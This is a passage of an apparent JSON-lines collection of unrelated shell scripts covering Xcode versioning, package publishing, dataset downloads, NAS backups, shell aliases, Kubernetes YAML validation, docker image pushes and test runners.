(CFBundleShortVersionString) for the project.\"\n\t echo \"-x, --xcodeproj= Use the specified Xcode project file to gather plist names.\"\n\t echo \"\\nFor more detailed information on the use of these variables, see the script source.\"\n\t exit 1\n\t ;;\n\t--reflect-commits)\n\t reflect_commits=true\n\t shift\n\t ;;\n\t-x=*|--xcodeproj=*)\n\t xcodeproj=\"${i#*=}\"\n\t shift\n\t ;;\n\t-p=*|--plist=*)\n\t plist=\"${i#*=}\"\n\t shift\n\t ;;\n\t-b=*|--branch=*)\n\t enable_for_branch=\"${i#*=}\"\n\t shift\n\t ;;\n\t--build=*)\n\t specified_build=\"${i#*=}\"\n\t shift\n\t ;;\n\t--version=*)\n\t specified_version=\"${i#*=}\"\n\t shift\n\t ;;\n\t-i|--ignore-changes)\n\t ignore_git_status=true\n\t shift\n\t ;;\n\t*)\n\t ;;\n esac\ndone\n\n# Locate the xcodeproj.\n# If we've specified a xcodeproj above, we'll simply use that instead.\nif [[ -z ${xcodeproj} ]]; then\n xcodeproj=$(find . -depth 1 -name \"*.xcodeproj\" | sed -e 's/^\\.\\///g')\nfi\n\n# Check that the xcodeproj file we've located is valid, and warn if it isn't.\n# This could also indicate an issue with the code used to automatically locate the xcodeproj file.\n# If you're encountering this and the file exists, ensure that ${xcodeproj} contains the correct\n# path, or use the \"--xcodeproj\" variable to provide an accurate location.\nif [[ ! -f \"${xcodeproj}/project.pbxproj\" ]]; then\n echo \"${BASH_SOURCE}:${LINENO}: error: Could not locate the xcodeproj file \\\"${xcodeproj}\\\".\"\n exit 1\nelse\n echo \"Xcode Project: \\\"${xcodeproj}\\\"\"\nfi\n\n# Find unique references to Info.plist files in the project\nprojectFile=\"${xcodeproj}/project.pbxproj\"\nplists=$(grep \"^\\s*INFOPLIST_FILE.*$\" \"${projectFile}\" | sed -Ee 's/^[[:space:]]+INFOPLIST_FILE[[:space:]*=[[:space:]]*[\"]?([^\"]+)[\"]?;$/\\1/g' | sort | uniq)\n\n# Attempt to guess the plist based on the list we have.\n# If we've specified a plist above, we'll simply use that instead.\nif [[ -z ${plist} ]]; then\n read -r plist <<< \"${plists}\"\nfi\n\n# Check that the plist file we've located is valid, and warn if it isn't.\n# This could also indicate an issue with the code used to match plist files in the xcodeproj file.\n# If you're encountering this and the file exists, ensure that ${plists} contains _ONLY_ filenames.\nif [[ ! -f ${plist} ]]; then\n echo \"${BASH_SOURCE}:${LINENO}: error: Could not locate the plist file \\\"${plist}\\\".\"\n exit 1\nelse\n echo \"Source Info.plist: \\\"${plist}\\\"\"\nfi\n\n# Find the current build number in the main Info.plist\nmainBundleVersion=$(\"${plistBuddy}\" -c \"Print CFBundleVersion\" \"${plist}\")\nmainBundleShortVersionString=$(\"${plistBuddy}\" -c \"Print CFBundleShortVersionString\" \"${plist}\")\necho \"Current project version is ${mainBundleShortVersionString} (${mainBundleVersion}).\"\n\n# If the user specified a marketing version (via \"--version\"), we overwrite the version from the source of truth.\nif [[ ! -z ${specified_version} ]]; then\n mainBundleShortVersionString=${specified_version}\n echo \"Applying specified marketing version (${specified_version})...\"\nfi\n\n# Increment the build number if git says things have changed. Note that we also check the main\n# Info.plist file, and if it has already been modified, we don't increment the build number.\n# Alternatively, if the script has been called using \"--reflect-commits\", we just update to the\n# current number of commits. We can also specify a build number to use with \"--build\".\ngit=$(sh /etc/profile; which git)\nbranchName=$(\"${git}\" rev-parse --abbrev-ref HEAD)\nif [[ -z ${enable_for_branch} ]] || [[ \",${enable_for_branch},\" == *\",${branchName},\"* ]]; then\n if [[ ! -z ${specified_build} ]]; then\n\tmainBundleVersion=${specified_build}\n\techo \"Applying specified build number (${specified_build})...\"\n elif [[ ! -z ${reflect_commits} ]] && [[ ${reflect_commits} ]]; then\n\tcurrentBundleVersion=${mainBundleVersion}\n\tmainBundleVersion=$(\"${git}\" rev-list --count HEAD)\n\tif [[ ${branchName} != \"master\" ]]; then\n\t mainBundleVersion=\"${mainBundleVersion}-${branchName}\"\n\tfi\n\tif [[ ${currentBundleVersion} != ${mainBundleVersion} ]]; then\n\t echo \"Branch \\\"${branchName}\\\" has ${mainBundleVersion} commit(s). Updating build number...\"\n\telse\n\t echo \"Branch \\\"${branchName}\\\" has ${mainBundleVersion} commit(s). Version is stable.\"\n\tfi\n elif [[ ! -z ${ignore_git_status} ]] && [[ ${ignore_git_status} ]]; then\n\techo \"Iterating build number (forced)...\"\n\tmainBundleVersion=$((${mainBundleVersion} + 1))\n else\n\tstatus=$(\"${git}\" status --porcelain)\n\tif [[ ${#status} == 0 ]]; then\n\t echo \"Repository does not have any changes. Version is stable.\"\n\telif [[ ${status} == *\"M ${plist}\"* ]] || [[ ${status} == *\"M \\\"${plist}\\\"\"* ]]; then\n\t echo \"The source Info.plist has been modified. Version is assumed to be stable. Use --ignore-changes to override.\"\n\telse\n\t echo \"Repository is dirty. Iterating build number...\"\n\t mainBundleVersion=$((${mainBundleVersion} + 1))\n\tfi\n fi\nelse\n echo \"${xcodeproj}:0: warning: Version number updates are disabled for the current git branch (${branchName}).\"\nfi\n\n# Update all of the Info.plist files we discovered\nwhile read -r thisPlist; do\n # Find out the current version\n thisBundleVersion=$(\"${plistBuddy}\" -c \"Print CFBundleVersion\" \"${thisPlist}\")\n thisBundleShortVersionString=$(\"${plistBuddy}\" -c \"Print CFBundleShortVersionString\" \"${thisPlist}\")\n # Update the CFBundleVersion if needed\n if [[ ${thisBundleVersion} != ${mainBundleVersion} ]]; then\n\techo \"Updating \\\"${thisPlist}\\\" with build ${mainBundleVersion}...\"\n\t\"${plistBuddy}\" -c \"Set :CFBundleVersion ${mainBundleVersion}\" \"${thisPlist}\"\n fi\n # Update the CFBundleShortVersionString if needed\n if [[ ${thisBundleShortVersionString} != ${mainBundleShortVersionString} ]]; then\n\techo \"Updating \\\"${thisPlist}\\\" with marketing version ${mainBundleShortVersionString}...\"\n\t\"${plistBuddy}\" -c \"Set :CFBundleShortVersionString ${mainBundleShortVersionString}\" \"${thisPlist}\"\n fi\ndone <<< \"${plists}\""} {"text": "#!/bin/bash\nset -eux\n\npython setup.py sdist bdist_egg bdist_wheel\n\ntwine check ./dist/*\ntwine upload ./dist/*"} {"text": "echo RESTORING ALL PACKAGES...; for f in /src/csproj-files/*.csproj; do dotnet restore $f; done"} {"text": "#!/bin/sh\n\n# USAGE : $0 [dbname] \n\nPGDATABASE=${PGDATABASE:=carpool_live}\nif [[ \"X$1\" != \"X\" ]]\nthen\nPGDATABASE=$1\nfi\n\necho $PGDATABASE \n\necho \"DRIVERS\" \npsql $PGDATABASE <mphammer/synopsysctl\n#!/bin/bash\n\n# HOW TO RUN:\n# ./test_synopsysctl_native.sh\n\n# https://news.ycombinator.com/item?id=10736584\nset -o errexit -o nounset -o pipefail\n# this line enables debugging\nset -xv\n\nNATIVE_FILENAME=native.yml\n\nsynopsysctl --verbose-level=debug create polaris native --namespace \"$NAMESPACE\" --version \"$POLARIS_VERSION\" \\\n--gcp-service-account-path \"$GCP_SERVICE_ACCOUNT_PATH\" --coverity-license-path \"$COVERITY_LICENSE_PATH\" \\\n--fqdn \"travis-onprem-polaris.com\" --smtp-host \"smtp.sendgrid.net\" --smtp-port \"3000\" --smtp-username \"smtp-admin\" \\\n--smtp-password \"password\" --smtp-sender-email \"\" --insecure-skip-smtp-tls-verify \\\n--enable-postgres-container --postgres-password \"\" --postgres-size \"1Gi\" --uploadserver-size \"1Gi\" \\\n--eventstore-size \"1Gi\" --mongodb-size \"1Gi\" --downloadserver-size \"1Gi\" --enable-reporting --reportstorage-size \"1Gi\" \\\n--ingress-class \"nginx\" --app-resources-path \"\" -o yaml >> $NATIVE_FILENAME\n\n# if synopsysctl command fails, can't test anything else, fail immediately\nif [ $? -eq 0 ]; then\n printf \"\\n\\nsynopsysctl command completed, moving on to testing the generated yaml\\n\"\nelse\n printf \"\\n\\nsynopsysctl command failed, please check\\n\"\n exit 1\nfi\n\n# Source: https://github.com/instrumenta/kubernetes-json-schema/blob/master/build.sh#L23\ndeclare -a k8s_versions=(\"1.15.4\"\n \"1.14.7\")\n# \"1.13.11\"\n# \"1.12.10\"\n# \"1.11.9\")\n\nfor k8s_version in \"${k8s_versions[@]}\"\ndo\n printf '\\n\\nRunning kubeval for Kubernetes version:\\t%s\\n' \"$k8s_version\"\n if ! kubeval $NATIVE_FILENAME -v \"$k8s_version\" --strict\n then\n printf '\\n Yaml validation failed for Kubernetes version, exiting immediately:\\t%s\\n' \"$k8s_version\"\n exit 1\n fi\ndone\n\n# Source: https://github.com/garethr/openshift-json-schema/blob/master/build.sh#L13\ndeclare -a openshift_versions=(\"4.1.0\"\n \"3.11.0\")\n# \"3.10.0\"\n# \"3.9.0\")\n\nfor oc_version in \"${openshift_versions[@]}\"\ndo\n printf '\\n\\nRunning kubeval for Openshift version:\\t%s\\n' \"$oc_version\"\n if ! kubeval $NATIVE_FILENAME --openshift -v \"$oc_version\" --strict\n then\n printf '\\n Yaml validation failed for Openshift version, ignoring and continuing for now [TODO: change me]:\\t%s\\n' \"$oc_version\"\n fi\ndone\n\nexit 0"} {"text": "1-10\n#!/bin/bash\n\n# Bash shell script to load both the CosmosDB Graph data the Materalized Views.\n# , Microsoft, 2020/11/11\n\n# mkdir tmp\n\necho 'process_gremlin_commands with gremlin_load_file ...'\ndotnet run process_gremlin_commands ../data/gremlin/gremlin_load_file.txt > tmp/gremlin_load_file.txt\n\necho 'load_materialized_views ...'\ndotnet run load_materialized_views ../data/aggregated_libraries.json > tmp/load_materialized_views.txt\n\n# dotnet run list_gremlin_commands ../data/gremlin/gremlin_load_file.txt\n# dotnet run process_gremlin_commands ../data/gremlin/gremlin_queries.txt \n\necho 'done'"} {"text": "mkdir -p data\ncd data\n\nW2VFIRST='https://docs.google.com/uc?export=download'\nW2VSECOND='https://docs.google.com/uc?export=download&confirm='\nW2VID='&id=0B7XkCwpI5KDYNlNUTTlSS21pQmM'\nW2VGZ='GoogleNews-vectors-negative300.bin.gz'\nW2VFILE='GoogleNews-vectors-negative300.bin'\n\nif [ ! -e $W2VFILE ]; then\n if [ ! -e $W2VGZ ]; then\n OUTPUT=$( wget --save-cookies cookies.txt --keep-session-cookies --no-check-certificate $W2VFIRST$W2VID -O- | sed -rn 's/.*confirm=([0-9A-Za-z_]+).*/Code: \\1\\n/p' )\n CODE=${OUTPUT##*Code: }\n wget --load-cookies cookies.txt $W2VSECOND$CODE$W2VID -O $W2VGZ\n rm cookies.txt\n fi\n gunzip -dc $W2VGZ > $W2VFILE\nfi\n\n\nGLOVEURL=\"http://nlp.stanford.edu/data/glove.6B.zip\"\nGLOVEZIP=\"glove.6B.zip\"\nGLOVEFILE=\"glove.6B.100d.txt\"\n\nif [ ! -e $GLOVEFILE ]; then\n if [ ! -e $GLOVEZIP ]; then\n wget $GLOVEURL\n fi\n unzip -o $GLOVEZIP\nfi"} {"text": "#! /bin/bash\n\nBASEDIR=$(pwd)\n\n. common-funcs.sh\n\nsetUp() {\n\tcleanup\n}\n\ntearDown() {\n\tcleanup\n}\n\ntestMakeSource_CanBuildInPlace() {\n\t# Execute\n\tcd test-package\n\tassertTrue \"make-source failed\" \"../../make-source --build-in-place\"\n\n\t# Verify\n\tcd ..\n\tassertTrue \".dsc does not exist\" \"[ -f test-package_0.0.1-1.nightly*.dsc ]\"\n\tassertTrue \"_source.changes does not exist\" \"[ -f test-package_0.0.1-1.nightly*_source.changes ]\"\n\tassertTrue \".orig.tar.xz does not exist\" \"[ -f test-package_0.0.1-1.nightly*.orig.tar.xz ]\"\n\tassertTrue \".debian.tar.xz does not exist\" \"[ -f test-package_0.0.1-1.nightly*.debian.tar.xz ]\"\n}\n\necho -e \"${GREEN}Running tests in $0...${NC}\"\n\n# Load shUnit2.\n. ./shunit2"} {"text": "export ZTTY_FEATURES=\"ChangeAlternativeTools:${ZTTY_FEATURES}\"\n\n_hasCommand () {\n type \"$1\" > /dev/null 2>&1 && return 0\n return 1\n}\n\nif _hasCommand exa ; then\n alias ls=\"exa\"\n alias la=\"exa -a\"\n alias ll='ls --git -lbghu'\n # overwrite chpwd function\n chpwd() {\n l1=$(/bin/ls -1 | wc -l)\n l2=$(tput lines)\n test $l1 -gt $(( $l2 * 5 )) && echo \"manymanyfiles... $l1\" && return 0\n }\nfi\n\nwhile read line\ndo\n orgCmd=$(echo $line | cut -d, -f1)\n altCmd=$(echo $line | cut -d, -f2)\n if _hasCommand $altCmd\n then\n eval \"alias $orgCmd='$altCmd'\"\n fi\ndone << EOF\ncat,bat\napt,apt-fast\nEOF\n# find,fd"} {"text": "setup/flux/create-kube-config.sh\n#!/bin/bash\nset -e\nset -u\nset -o xtrace\n# Only here for historical reasons\n# This is not used anymore. Was created before I understood RBAC.\nCLUSTER_NAME=$1\n\naws eks describe-cluster --name $CLUSTER_NAME | jq \"$(tr -d '\\n' < \"${0%/*}\"/kube-template.json | tr -d '\\t' )\" > kube-config.json\nyq r kube-config.json > config\nrm kube-config.json"} {"text": "sfs-it/MSTrsync_backup-nas_vhosts.sh\n#!/bin/sh\n#\n# SFS.it Maintenance Server Tools \n# BSD style KISS scripts\n#\n# RSYNC VHOSTS TO NAS_DIS\n#\n# Written by () for SFS.it MST\n#\n\n#SYNTAX rsync_backup-nas_vhosts [CLEANLOCK]\nSYNTAX=\"$BASESCRIPT [CLEANLOCK] [TEST]\"\n\nBASESCRIPT=\"$(basename $0)\"\nDIRSCRIPT=\"$(realpath $(dirname $0))\"\n\nLOCKFILE='/tmp/rsync_backup-nas_vhosts.lock'\nVERBOSE=''\t\nTEST=''\nif [ \"x$1\" != \"x\" ]; then\n\tP1=\"$(echo $1 | tr '[:lower:]' '[:upper:]')\"\n\tif [ \"x$P1\" = \"x-H\" -o \"x$P1\" = \"HELP\" ]; then\n\t\techo \"$SYNTAX\"\n\t\texit 1;\n\telif [ \"x$P1\" = \"xCLEANLOCK\" ]; then\n\t\tif [ -e \"$LOCKFILE\" ]; then\n\t\t\trm \"$LOCKFILE\"\n\t\t\techo \"LOCKFILE '$LOCKFILE' REMOVED\"\n\t\t\texit\n\t\tfi\n\telif [ \"x$P1\" = \"xTEST\" ]; then\n\t\tTEST=\"TEST\"\t\n\telif [ \"x$P1\" = \"x-V\" -o \"x$P1\" = \"xVERBOSE\" ]; then\n\t\tVERBOSE=\"VERBOSE\"\t\n\tfi\nfi\nif [ \"x$2\" != \"x\" ]; then\n\tP2=\"$(echo $2 | tr '[:lower:]' '[:upper:]')\"\n\tif [ \"x$P2\" = \"xCLEANLOCK\" ]; then\n\t\tif [ -e \"$LOCKFILE\" ]; then\n\t\t\trm \"$LOCKFILE\"\n\t\t\techo \"LOCKFILE '$LOCKFILE' REMOVED\"\n\t\t\texit\n\t\tfi\n\telif [ \"x$P2\" = \"xTEST\" ]; then\n\t\tTEST=\"TEST\"\t\n\telif [ \"x$P2\" = \"x-V\" -o \"x$P2\" = \"xVERBOSE\" ]; then\n\t\tVERBOSE=\"VERBOSE\"\n\tfi\nfi\nif [ \"x$3\" != \"x\" ]; then\n\tP3=\"$(echo $3 | tr '[:lower:]' '[:upper:]')\"\n\tif [ \"x$P3\" = \"xCLEANLOCK\" ]; then\n\t\tif [ -e \"$LOCKFILE\" ]; then\n\t\t\trm \"$LOCKFILE\"\n\t\t\techo \"LOCKFILE '$LOCKFILE' REMOVED\"\n\t\t\texit\n\t\tfi\n\telif [ \"x$P3\" = \"xTEST\" ]; then\n\t\tTEST=\"TEST\"\t\n\telif [ \"x$P3\" = \"x-V\" -o \"x$P3\" = \"xVERBOSE\" ]; then\n\t\tVERBOSE=\"VERBOSE\"\n\tfi\nfi\n\nif [ -e \"$LOCKFILE\" ]; then\n\techo \"RSYNCBACKUP - LOCKFILE '$LOCKFILE' PRESENT QUIT\"\n\texit\nfi\nPWD=$(pwd)\n##\n## INIT PARAMETERS\n##\numask 022\n\nSETTINGS_FILE=\"/etc/SFSit_MST.conf.sh\"\ntest -s \"/root/SFSit_MST.conf.sh\" && SETTINGS_FILE=\"/root/SFSit_MST.conf.sh\"\nif [ -s \"$SETTINGS_FILE\" ]; then\n\tVHOSTS_DIR=\"$(sh \"$SETTINGS_FILE\" VHOSTS_DIR)\"\n\tNAS_DIR=\"$(sh \"$SETTINGS_FILE\" NAS_DIR)\"\nelse\n\techo \"NO CONFIG SET COPY SFSit_MST.conf.sh.orig /etc/SFSit_MST.conf.sh or /root/SFSit_MST.conf.sh and set local variables\"\n\texit 1\nfi\nif [ \"x$NAS_DIR\" = \"x\" ]; then\n\techo \"RSYNCBACKUP - EXIT NO NAS_DIR DEFINED\"\n\texit\nfi\n\n\n##\n## INIT THE TRUE SCRIPT\n##\n#RSYNC_CMD=\"rsync --links --recursive --perms --xattrs --owner --group --times --delete --exclude *.log.*.gz --verbose\"\nRSYNC_CMD=\"rsync --links --recursive --perms --owner --group --times --delete --exclude *.log.*.gz --exclude .recycle --exclude lost+found\"\nif [ $TEST = 'TEST' ]; then\n\tRSYNC_CMD=\"$RSYNC_CMD --dry-run\"\nfi\nif [ $VERBOSE = 'VERBOSE' ]; then\n\tRSYNC_CMD=\"$RSYNC_CMD --verbose\"\nfi\ntouch \"$LOCKFILE\"\nif cd \"$VHOSTS_DIR\"; then\n\tfor VHOST in $(ls -1 $VHOSTS_DIR); do\n\t\techo \"***\"\n\t\techo \"*** VHOST: $VHOST ***\"\n\t\techo \"***\"\n\t\tif [ \"x$VHOST\" = \"xgDrive\" -o \"x$VHOST\" = \"xlost+found\" -o \"x$VHOST\" = \".zfs\" ]; then\n\t\t\t# DIR SKIPPED\n\t\telif [ -d \"$VHOSTS_DIR/$VHOST\" -a -d \"$NAS_DIR/$VHOST/\" ]; then\n\t\t\tcd \"$VHOSTS_DIR/$VHOST\"\n\t\t\tif [ -f \"account.txt\" ]; then \n\t\t\t\tUSER=\"$(cat \"account.txt\" | grep '^USER:' | sed -E 's/^USER:\\s*//' | sed 's/^[[:blank:]]*//g')\"\n\t\t\t\tMYSQL_PWD=\"$(cat \"account.txt\" | grep '^PWD_MYSQL:' | sed 's/^PWD_MYSQL:\\s*//' | sed 's/^[[:blank:]]*//g')\"\n\t\t\t\techo \"BACKUP DB: \\\"$USER\\\" TO dump-$USER.sql\"\n\t\t\t\tmysqldump --opt \"$USER\" > \"dump-$USER.sql\" -u \"$USER\" --password=\"$\"\n\t\t\tfi \n\t\t\techo \"SYNC \\\"$VHOSTS_DIR/$VHOST/\\\" to \\\"$NAS_DIR/$VHOST/\\\"\"\n\t\t\t$RSYNC_CMD \"$VHOSTS_DIR/$VHOST/\" \"$NAS_DIR/$VHOST/\"\n\t\t\techo \"END OF SYNC\"\n\t\telse\n\t\t\techo \"SYNC of \\\"$VHOSTS_DIR/$VHOST/\\\" SKIPPED\"\n\t\tfi\n\tdone\nfi\nrm \"$LOCKFILE\"\ncd \"$PWD\"\nexit 0"} {"text": "1-10\n#!/bin/bash\n\nVERSION=${1-3.52.5}\nmkdir -p restit/resource/swagger/\nrm -f restit/resource/swagger/*\n\nwget -c https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${VERSION}.tar.gz -O - | tar -xz\n\nmv swagger-ui-${VERSION}/dist/* restit/resource/swagger/\n\nrm -fr swagger-ui-${VERSION}/\n\nsed -i 's/url: .\\+/url: \"swagger.json\",/' restit/resource/swagger/index.html"} {"text": "roalcantara/prezto\n#\n# Exa\n# https://the.exa.website\n#\n# Authors:\n# roalcantara <>\n#\n\n# Return if requirements are not found.\nif [[ \"$TERM\" == 'dumb' ]]; then\n return 1\nfi\n\n#\n# Settings\n#\n#\n\n# https://the.exa.website/features/colours\n# di directories\n# ex executable files\n# fi regular files\n# ln symlinks\n# ur,uw,ux user permissions\n# gr,gw,gx group permissions\n# tr,tw,tx others permissions\n# sn the numbers of a file's size\n# sb the units of a file's size\n# uu user that is you\n# un user that is someone else\n# gu a group that you belong to\n# gn a group you aren't a member of\n# ga new file in Git\n# gm a modified file in Git\n# gd a deleted file in Git\n# gv a renamed file in Git\n# da a file's date\n\nexport EXA_COLORS=\"\\\nfi=34:\\\ndi=1;36:\\\nsn=32:\\\nsb=32:\\\nuu=1;36:\\\nun=38;5;160:\\\ngu=38;5;40:\\\ngn=38:5:160:\\\nbl=38;5;220:\\\nur=34:\\\nuw=1;34:\\\nux=1;35:\\\nue=1;35:\\\nga=36:\\\ngm=33:\\\ngd=31:\\\ngv=33:\\\ngt=37:\\\ngr=34:\\\ngw=1;34:\\\ngx=1;35:\\\ntr=34:\\\ntw=1;34:\\\ntx=1;35:\\\nsu=37:\\\nsf=37:\\\nlc=37:\""} {"text": "#!/bin/sh\n\nBINARY_PATH=./bin/music-player-simulator\nINPUTS_PATH=tests/inputs\nOUTPUTS_PATH=tests/outputs\n\nOUTPUT_FILE=output\nASSERT_EQUAL_COMMAND=cmp\n\nexecute_test() {\n\n # execute 'echo' at the end as the output file does not have a valid EOF\n $BINARY_PATH < $INPUTS_PATH/$1 > $OUTPUT_FILE && echo \"\" >> output\n $ASSERT_EQUAL_COMMAND $OUTPUT_FILE $OUTPUTS_PATH/$1\n}\n\nexecute_test play_track_without_track\nexecute_test add_tracks_and_list\nexecute_test add_tracks_and_remove_duplicates\nexecute_test add_tracks_and_remove_tracks\nexecute_test show_track\nexecute_test add_tracks_and_next_and_previous\nexecute_test play_pause_resume_repeat_random\n\necho \"All tests have finished.\""} {"text": "sslavov93/kali-linux-tools\nsudo apt-get -y install cuckoo"} {"text": "#!/bin/bash\n\ncurl -v -X DELETE http://localhost:9000/nsi/connections/urn:uuid:5f3d47d2-b201-4943-8606-7893d2dc246b"} {"text": "# Here is a simple little setup for RUM. Not all of this can be automated.\n\necho \"The first thing to do is enable hugepages for your machine. Add the following in /etc/default/grub.d/50-curtin-settings.cfg : \\\"default_hugepagesz=1G hugepagesz=1G hugepages=4 iommu=pt intel_iommu=on\\\"\"\n\n# add this to get the right repos avaliable\nsudo add-apt-repository universe\n\n#now install some necessary things\nsudo apt-get install libpcap-dev gcc make hugepages nim pkg-config libnuma-dev \\\nlua5.3 liblua5.3-dev libpcap-dev dpdk-igb-uio-dkms libssl-dev\n\n#build the dpdk\nsudo make config T=${RTE_TARGET} RTE_KERNELDIR=/lib/modules/$(shell uname -r)/build\nsudo make T=${RTE_TARGET} RTE_KERNELDIR=/lib/modules/$(shell uname -r)/build\nsudo make install T=${RTE_TARGET} RTE_KERNELDIR=/lib/modules/$(shell uname -r)/build DESTDIR=${RTE_TARGET}\n\n#load the module\nsudo modprobe igb_uio\n\n# intereseting and useful commands\n\n# list the avaliable devices\nsudo python $RTE_SDK/usertools/dpdk-devbind.py --status-dev net\n\n# replace a port with the custom driver\nsudo python $RTE_SDK/usertools/dpdk-devbind.py -b igb_uio "} {"text": "1-10\n#!/bin/bash\n\n\nfunction doKill {\n chunkserverIP=$1\n #echo $chunkKillScriptName\n #echo $chunkRunScriptName\n ssh ubuntu@$chunkserverIP 'ls /home/ubuntu/qfsbase/chunkdir11/'\n}\n\nchunkservers=$(cat \"/home/ubuntu/chunk_server_list.txt\")\n\n#chunkservers=\"192.168.1.225 192.168.1.226 192.168.1.227 192.168.1.228 192.168.1.229 192.168.1.230 192.168.1.231 192.168.1.233 192.168.1.235 192.168.1.236\"\n#chunkservers=\"192.168.0.246 192.168.0.250 192.168.0.251 192.168.0.252 192.168.0.253 192.168.0.254 192.168.0.26 192.168.0.27 192.168.0.28 192.168.0.29 192.168.0.3 192.168.0.30 192.168.0.31 192.168.0.32 192.168.0.33\"\n\nfor s in $chunkservers\ndo\n\techo \"Processing $s\"\n# scp $chunkKillScriptName ubuntu@$s:/home/ubuntu/\n doKill $s\ndone"} {"text": "caturl () {\n\tlocal filename=\"/tmp/caturl.html\" && echo \"
\" > \"$filename\" && cat \"$1\" >> \"$filename\" && echo \"
\" >> \"$filename\" && open /tmp/caturl.html\n}\nalias tk=task.py\nalias tkrr='tk --read'\nalias tkr='tk --read | head -15'\nalias tk_today='tk -due day'\nalias tkn='tk --next'\n\nfunction remove_empty_lines () { cat \"$1\" | sed '/^[\\w]*$/d'; }\nfunction remove_empty_lines_force () { remove_empty_lines \"$1\" > /tmp/tmp && mv /tmp/tmp \"$1\" }\n\nalias readOutLoud='say -v Moira -i -f'\nalias read_out_loud=readOutLoud\n\nalias waypoint='echo `pwd` >> ~/waypoint.txt; cat ~/waypoint.txt | sort | uniq >> /tmp/waypoint.txt; mv /tmp/waypoint.txt ~/waypoint.txt'\nwaypoint_go () { cd $(cat ~/waypoint.txt | fzf -1 -q \"$1\") ; }\nalias teleport=waypoint_go\nalias tp=teleport\nalias savedalias='source ~/libbeagan/alias'\nalias jslint='npm run lint --silent -- --frail'\n\nalias slp='pmset sleepnow'\nalias alert='notify-send --urgency=low -i \"$([ $? = 0 ] && echo terminal || echo error)\" \"$(history|tail -n1|sed -e '\\''s/^\\s*[0-9]\\+\\s*//;s/[;&|]\\s*alert$//'\\'')\"'\n\nalias psg=\"ps aux | grep -v grep | grep -i -e VSZ -e\"\nalias ps=\"ps -aux\"\nalias qp=\"ps auxwww|more\"\nalias nu=\"who|wc -l\"\nalias tulpn=\"netstat -tulpn\"\n\nalias n=note\nalias note='cat >> \"$(echo ~/note-$(date +\"%b%e::%T\")).txt\" << EOF'\nalias hnote='cd ~; note; cd -'\nalias nscript='cat <:reactphp/event-loop.git\n src/React/Stream::reactphp/stream.git\n src/React/Cache::reactphp/cache.git\n src/React/Socket::reactphp/socket.git\n src/React/SocketClient::reactphp/socket-client.git\n src/React/Http::reactphp/http.git\n src/React/HttpClient::reactphp/http-client.git\n src/React/Dns::reactphp/dns.git\n\" --heads=master"} {"text": "#!/bin/sh\ncp /usr/ff/kernel/proc.c /usr/src/kernel/proc.c\ncp /usr/ff/sched/main.c /usr/src/servers/sched/main.c\ncp /usr/ff/sched/schedule.c /usr/src/servers/sched/schedule.c\ncp /usr/ff/sched/schedproc.h /usr/src/servers/sched/schedproc.h\ncp /usr/ff/pm/schedule.c /usr/src/servers/pm/schedule.c\ncd /usr/src/tools && make hdboot"} {"text": "#!/bin/bash\ngit checkout _ || git checkout -b _ && git branch | grep -v \"_\" | xargs git branch -D"} {"text": "10-100\n#!/bin/bash\n\nkubectl delete -f admin-user.yml"} {"text": "main() {\n rm -rf $SHIPPABLE_RUNTIME_DIR\n mkdir -p $BASE_DIR\n mkdir -p $REQPROC_DIR\n mkdir -p $REQEXEC_DIR\n mkdir -p $REQKICK_DIR\n mkdir -p $BUILD_DIR\n mkdir -p $LEGACY_CI_CACHE_STORE_LOCATION\n mkdir -p $LEGACY_CI_KEY_STORE_LOCATION\n mkdir -p $LEGACY_CI_MESSAGE_STORE_LOCATION\n mkdir -p $LEGACY_CI_BUILD_LOCATION\n\n REQPROC_MOUNTS=\"$REQPROC_MOUNTS \\\n -v $BASE_DIR:$BASE_DIR \\\n -v /opt/docker/docker:/usr/bin/docker \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n -v $LEGACY_CI_CACHE_STORE_LOCATION:$LEGACY_CI_CACHE_STORE_LOCATION:rw \\\n -v $LEGACY_CI_KEY_STORE_LOCATION:$LEGACY_CI_KEY_STORE_LOCATION:rw \\\n -v $LEGACY_CI_MESSAGE_STORE_LOCATION:$LEGACY_CI_MESSAGE_STORE_LOCATION:rw \\\n -v $LEGACY_CI_BUILD_LOCATION:$LEGACY_CI_BUILD_LOCATION:rw\"\n\n DEFAULT_TASK_CONTAINER_MOUNTS=\"$DEFAULT_TASK_CONTAINER_MOUNTS \\\n -v /opt/docker/docker:/usr/bin/docker \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n -v $NODE_SCRIPTS_LOCATION:/var/lib/shippable/node\"\n}\n\nmain"} {"text": "#!/usr/bin/env bash\nexport RPM_SPEC_FILE=\"SPECS/acryl_node.spec\"\n\necho \"Checking rpm spec file...\"\nrpmlint $RPM_SPEC_FILE || exit 1\necho \"Building rpm binary file...\"\nrpmbuild -bb $RPM_SPEC_FILE || exit 1\n\nrm /result/files/ -rf\ncp -a /root/rpmbuild/RPMS/noarch/ /result/files"} {"text": "REGISTRY_REPO=$1\nRELEASE_TAG=$2\n\ncd $REGISTRY_REPO\n\necho \"====> Building docker image with tag=$REGISTRY_REPO:$RELEASE_TAG\"\ndocker build --tag=$REGISTRY_REPO:$RELEASE_TAG ./\n\necho \"====> Tagging the docker image\"\ndocker tag -f $REGISTRY_REPO:$RELEASE_TAG echinthaka/$REGISTRY_REPO:$RELEASE_TAG\n\ndocker login --username=echinthaka --email=\n\necho \"====> Pushing the docker image\"\ndocker push echinthaka/$REGISTRY_REPO:$RELEASE_TAG"} {"text": "#!/bin/sh\n\necho \"🎌 Running LRR Test Suite 🎌\"\n\n# Run the perl tests on the repo\nprove -r -l -v tests/"} {"text": "#!/bin/sh\n\nfunction die { echo $1: status $2 ; exit $2; }\n\nfor file in ${CMSSW_BASE}/src/PhysicsTools/PatAlgos/python/tools/*.py\ndo\n bn=`basename $file`\n if [ \"$bn\" != \"__init__.py\" ]; then\n python \"$file\" || die \"unit tests for $bn failed\" $?\n fi\ndone\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_standard_cfg.py || die 'Failure using patTuple_standard_cfg.py' $?\n\n# FIXME: event content broken in only available data RelVal\n# cmsRun ${LOCAL_TEST_DIR}/patTuple_data_cfg.py || die 'Failure using patTuple_data_cfg.py' $? # Recent input RelVals currently not reachable (from CERN)\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_PF2PAT_cfg.py || die 'Failure using patTuple_PF2PAT_cfg.py' $?\n\ncmsRun ${LOCAL_TEST_DIR}/patTuple_PATandPF2PAT_cfg.py || die 'Failure using patTuple_PATandPF2PAT_cfg.py' $?\n\ncmsRun 